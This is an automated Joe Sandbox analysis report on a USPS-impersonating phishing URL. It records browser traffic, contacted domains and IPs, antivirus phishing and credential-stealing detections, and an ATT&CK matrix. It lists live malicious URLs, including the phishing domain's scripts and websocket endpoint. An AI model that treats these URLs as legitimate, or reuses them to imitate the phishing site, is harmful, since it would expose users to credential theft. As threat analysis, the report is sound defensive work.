Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
https://usps.teamtepei.top/

Overview

General Information

Sample URL:https://usps.teamtepei.top/
Analysis ID:1448162
Infos:

Detection

Score:56
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Stores files to the Windows start menu directory

Classification

Process Tree

  • System is w10x64
  • chrome.exe (PID: 6620 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • chrome.exe (PID: 1492 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2248,i,16208426569104691300,16977507337609586708,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
  • chrome.exe (PID: 2584 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://usps.teamtepei.top/" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Antivirus / Scanner detection for submitted sample
Source: https://usps.teamtepei.top/Avira URL Cloud: detection malicious, Label: phishing
Source: https://usps.teamtepei.top/SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering
Antivirus detection for URL or domain
Source: https://usps.teamtepei.top/static/images/loading-icon-transparent-background-12.jpgAvira URL Cloud: Label: phishing
Source: https://usps.teamtepei.top/static/js/us.jsAvira URL Cloud: Label: phishing
Source: https://usps.teamtepei.top/static/js/jquery-ui.jsAvira URL Cloud: Label: phishing
Source: https://ip.useragentinfo.com/jsonAvira URL Cloud: Label: malware
Source: https://usps.teamtepei.top/static/js/axios.jsAvira URL Cloud: Label: phishing
Source: https://usps.teamtepei.top/favicon.icoAvira URL Cloud: Label: phishing
Source: https://usps.teamtepei.top/ResourceConfig/urlConfig.jsonAvira URL Cloud: Label: phishing
Source: https://api.teamtepei.top/websocket/274c4bd7790f98846f33fa355b525127Avira URL Cloud: Label: phishing
Source: https://usps.teamtepei.top/static/js/ResourceRedConfig.jsAvira URL Cloud: Label: phishing
Source: https://usps.teamtepei.top/HTTP Parser: No favicon
Source: unknownHTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknownHTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: usps.teamtepei.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global trafficHTTP traffic detected: GET /static/js/us.js HTTP/1.1Host: usps.teamtepei.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://usps.teamtepei.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global trafficHTTP traffic detected: GET /ResourceConfig/urlConfig.json HTTP/1.1Host: usps.teamtepei.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://usps.teamtepei.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global trafficHTTP traffic detected: GET /static/js/axios.js HTTP/1.1Host: usps.teamtepei.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://usps.teamtepei.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global trafficHTTP traffic detected: GET /static/js/jquery-ui.js HTTP/1.1Host: usps.teamtepei.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://usps.teamtepei.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global trafficHTTP traffic detected: GET /static/js/ResourceRedConfig.js HTTP/1.1Host: usps.teamtepei.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://usps.teamtepei.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global trafficHTTP traffic detected: GET /static/images/loading-icon-transparent-background-12.jpg HTTP/1.1Host: usps.teamtepei.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://usps.teamtepei.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global trafficHTTP traffic detected: GET /favicon.ico HTTP/1.1Host: usps.teamtepei.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://usps.teamtepei.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global trafficHTTP traffic detected: GET /websocket/274c4bd7790f98846f33fa355b525127 HTTP/1.1Host: api.teamtepei.topConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://usps.teamtepei.topSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: zZMnDXCcPV8BO3cdlpmznA==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global trafficHTTP traffic detected: GET /static/images/loading-icon-transparent-background-12.jpg HTTP/1.1Host: usps.teamtepei.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global trafficHTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global trafficDNS traffic detected: DNS query: usps.teamtepei.top
Source: global trafficDNS traffic detected: DNS query: www.google.com
Source: global trafficDNS traffic detected: DNS query: api.teamtepei.top
Source: global trafficDNS traffic detected: DNS query: a.nel.cloudflare.com
Source: unknownHTTP traffic detected: POST /report/v4?s=IBO03NtSyDfWDOMWpJOYn4QAT%2FCGLbYQo9VISqnOHVRggH%2BjvajgOp1%2BWaf%2B8HSJFP6B16TxlbPH4e9eT9RqZFhxs8lJ2Ff2OcWARHrfMxYvX7ADxYKnEvIEr1NsOuGMQEsbFYU%3D HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 425Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 22:32:16 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IBO03NtSyDfWDOMWpJOYn4QAT%2FCGLbYQo9VISqnOHVRggH%2BjvajgOp1%2BWaf%2B8HSJFP6B16TxlbPH4e9eT9RqZFhxs8lJ2Ff2OcWARHrfMxYvX7ADxYKnEvIEr1NsOuGMQEsbFYU%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a975bbbde3440b-EWRalt-svc: h3=":443"; ma=86400
Source: chromecache_65.2.dr, chromecache_68.2.drString found in binary or memory: http://127.0.0.1:8099
Source: chromecache_71.2.drString found in binary or memory: http://jqueryui.com
Source: chromecache_67.2.drString found in binary or memory: http://url.spec.whatwg.org/#urlutils
Source: chromecache_67.2.drString found in binary or memory: http://www.google.com)
Source: chromecache_73.2.dr, chromecache_72.2.drString found in binary or memory: http://www.redbubble.com/people/ideology
Source: chromecache_68.2.drString found in binary or memory: https://api.informationservicesdepartment.com
Source: chromecache_67.2.drString found in binary or memory: https://feross.org
Source: chromecache_67.2.drString found in binary or memory: https://github.com/axios/axios/issues/201)
Source: chromecache_67.2.drString found in binary or memory: https://github.com/davidchambers/Base64.js
Source: chromecache_65.2.drString found in binary or memory: https://ip.useragentinfo.com/json
Source: chromecache_67.2.drString found in binary or memory: https://nodejs.org/api/http.html#http_message_headers
Source: chromecache_68.2.drString found in binary or memory: https://www.usps.com
Source: unknownNetwork traffic detected: HTTP traffic on port 49674 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49722
Source: unknownNetwork traffic detected: HTTP traffic on port 49710 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49721
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49720
Source: unknownNetwork traffic detected: HTTP traffic on port 49725 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49719 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49720 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49719
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49718
Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49717
Source: unknownNetwork traffic detected: HTTP traffic on port 49715 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49716
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49715
Source: unknownNetwork traffic detected: HTTP traffic on port 49717 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49736 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49714
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49736
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49713
Source: unknownNetwork traffic detected: HTTP traffic on port 49709 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49675 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49710
Source: unknownNetwork traffic detected: HTTP traffic on port 49673 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49726 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49703 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49724 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49721 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49723 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49709
Source: unknownNetwork traffic detected: HTTP traffic on port 49716 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49714 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49726
Source: unknownNetwork traffic detected: HTTP traffic on port 49718 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49725
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49703
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49724
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49723
Source: unknownHTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknownHTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: classification engineClassification label: mal56.win@16/23@10/7
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome AppsJump to behavior
Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2248,i,16208426569104691300,16977507337609586708,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://usps.teamtepei.top/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2248,i,16208426569104691300,16977507337609586708,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: Google Drive.lnk.0.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome AppsJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnkJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnkJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnkJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnkJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnkJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnkJump to behavior

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management Instrumentation1
Registry Run Keys / Startup Folder		1
Process Injection		1
Masquerading		OS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local System1
Encrypted Channel		Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
Registry Run Keys / Startup Folder		1
Process Injection		LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media4
Non-Application Layer Protocol		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive5
Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin HookBinary PaddingNTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput Capture3
Ingress Tool Transfer		Traffic DuplicationData Destruction

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
https://usps.teamtepei.top/100%Avira URL Cloudphishing
https://usps.teamtepei.top/100%SlashNextCredential Stealing type: Phishing & Social Engineering

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
https://nodejs.org/api/http.html#http_message_headers0%URL Reputationsafe
http://jqueryui.com0%URL Reputationsafe
http://url.spec.whatwg.org/#urlutils0%URL Reputationsafe
https://feross.org0%Avira URL Cloudsafe
https://github.com/davidchambers/Base64.js0%Avira URL Cloudsafe
https://usps.teamtepei.top/static/images/loading-icon-transparent-background-12.jpg100%Avira URL Cloudphishing
https://www.usps.com0%Avira URL Cloudsafe
https://usps.teamtepei.top/static/js/us.js100%Avira URL Cloudphishing
http://127.0.0.1:80990%Avira URL Cloudsafe
https://github.com/axios/axios/issues/201)0%Avira URL Cloudsafe
https://usps.teamtepei.top/static/js/jquery-ui.js100%Avira URL Cloudphishing
https://api.informationservicesdepartment.com0%Avira URL Cloudsafe
https://ip.useragentinfo.com/json100%Avira URL Cloudmalware
https://usps.teamtepei.top/static/js/axios.js100%Avira URL Cloudphishing
http://www.google.com)0%Avira URL Cloudsafe
https://usps.teamtepei.top/favicon.ico100%Avira URL Cloudphishing
http://www.redbubble.com/people/ideology0%Avira URL Cloudsafe
https://usps.teamtepei.top/ResourceConfig/urlConfig.json100%Avira URL Cloudphishing
https://a.nel.cloudflare.com/report/v4?s=IBO03NtSyDfWDOMWpJOYn4QAT%2FCGLbYQo9VISqnOHVRggH%2BjvajgOp1%2BWaf%2B8HSJFP6B16TxlbPH4e9eT9RqZFhxs8lJ2Ff2OcWARHrfMxYvX7ADxYKnEvIEr1NsOuGMQEsbFYU%3D0%Avira URL Cloudsafe
https://api.teamtepei.top/websocket/274c4bd7790f98846f33fa355b525127100%Avira URL Cloudphishing
https://usps.teamtepei.top/static/js/ResourceRedConfig.js100%Avira URL Cloudphishing

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
a.nel.cloudflare.com
35.190.80.1
truefalse
    		unknown
    usps.teamtepei.top
    		188.114.97.3
    		truefalse
      		unknown
      www.google.com
      		172.217.16.196
      		truefalse
        		unknown
        api.teamtepei.top
        		188.114.96.3
        		truefalse
          		unknown
          fp2e7a.wpc.phicdn.net
          		192.229.221.95
          		truefalse
            		unknown

            Contacted URLs

            NameMaliciousAntivirus DetectionReputation
            https://usps.teamtepei.top/static/js/us.jsfalse
            • Avira URL Cloud: phishing
            		unknown
            https://usps.teamtepei.top/static/images/loading-icon-transparent-background-12.jpgfalse
            • Avira URL Cloud: phishing
            		unknown
            https://usps.teamtepei.top/static/js/jquery-ui.jsfalse
            • Avira URL Cloud: phishing
            		unknown
            https://usps.teamtepei.top/true
              		unknown
              https://usps.teamtepei.top/static/js/axios.jsfalse
              • Avira URL Cloud: phishing
              		unknown
              https://usps.teamtepei.top/favicon.icofalse
              • Avira URL Cloud: phishing
              		unknown
              https://a.nel.cloudflare.com/report/v4?s=IBO03NtSyDfWDOMWpJOYn4QAT%2FCGLbYQo9VISqnOHVRggH%2BjvajgOp1%2BWaf%2B8HSJFP6B16TxlbPH4e9eT9RqZFhxs8lJ2Ff2OcWARHrfMxYvX7ADxYKnEvIEr1NsOuGMQEsbFYU%3Dfalse
              • Avira URL Cloud: safe
              		unknown
              https://usps.teamtepei.top/ResourceConfig/urlConfig.jsonfalse
              • Avira URL Cloud: phishing
              		unknown
              https://api.teamtepei.top/websocket/274c4bd7790f98846f33fa355b525127false
              • Avira URL Cloud: phishing
              		unknown
              https://usps.teamtepei.top/static/js/ResourceRedConfig.jsfalse
              • Avira URL Cloud: phishing
              		unknown

              URLs from Memory and Binaries

              NameSourceMaliciousAntivirus DetectionReputation
              https://github.com/axios/axios/issues/201)chromecache_67.2.drfalse
              • Avira URL Cloud: safe
              		unknown
              https://feross.orgchromecache_67.2.drfalse
              • Avira URL Cloud: safe
              		unknown
              https://github.com/davidchambers/Base64.jschromecache_67.2.drfalse
              • Avira URL Cloud: safe
              		unknown
              https://api.informationservicesdepartment.comchromecache_68.2.drfalse
              • Avira URL Cloud: safe
              		unknown
              https://nodejs.org/api/http.html#http_message_headerschromecache_67.2.drfalse
              • URL Reputation: safe
              		unknown
              https://ip.useragentinfo.com/jsonchromecache_65.2.drfalse
              • Avira URL Cloud: malware
              		unknown
              http://127.0.0.1:8099chromecache_65.2.dr, chromecache_68.2.drfalse
              • Avira URL Cloud: safe
              		unknown
              https://www.usps.comchromecache_68.2.drfalse
              • Avira URL Cloud: safe
              		unknown
              http://jqueryui.comchromecache_71.2.drfalse
              • URL Reputation: safe
              		unknown
              http://www.redbubble.com/people/ideologychromecache_73.2.dr, chromecache_72.2.drfalse
              • Avira URL Cloud: safe
              		unknown
              http://www.google.com)chromecache_67.2.drfalse
              • Avira URL Cloud: safe
              		unknown
              http://url.spec.whatwg.org/#urlutilschromecache_67.2.drfalse
              • URL Reputation: safe
              		unknown

              World Map of Contacted IPs

              • No. of IPs < 25%
              • 25% < No. of IPs < 50%
              • 50% < No. of IPs < 75%
              • 75% < No. of IPs

              Public IPs

              IPDomainCountryFlagASNASN NameMalicious
              239.255.255.250
              		unknownReserved
              		unknownunknownfalse
              188.114.97.3
              		usps.teamtepei.topEuropean Union
              		13335CLOUDFLARENETUSfalse
              188.114.96.3
              		api.teamtepei.topEuropean Union
              		13335CLOUDFLARENETUSfalse
              35.190.80.1
              		a.nel.cloudflare.comUnited States
              		15169GOOGLEUSfalse
              172.217.16.196
              		www.google.comUnited States
              		15169GOOGLEUSfalse

              Private

              IP
              192.168.2.4
              192.168.2.5

              General Information

              Joe Sandbox version:40.0.0 Tourmaline
              Analysis ID:1448162
              Start date and time:2024-05-28 00:31:22 +02:00
              Joe Sandbox product:CloudBasic
              Overall analysis duration:0h 3m 8s
              Hypervisor based Inspection enabled:false
              Report type:full
              Cookbook file name:browseurl.jbs
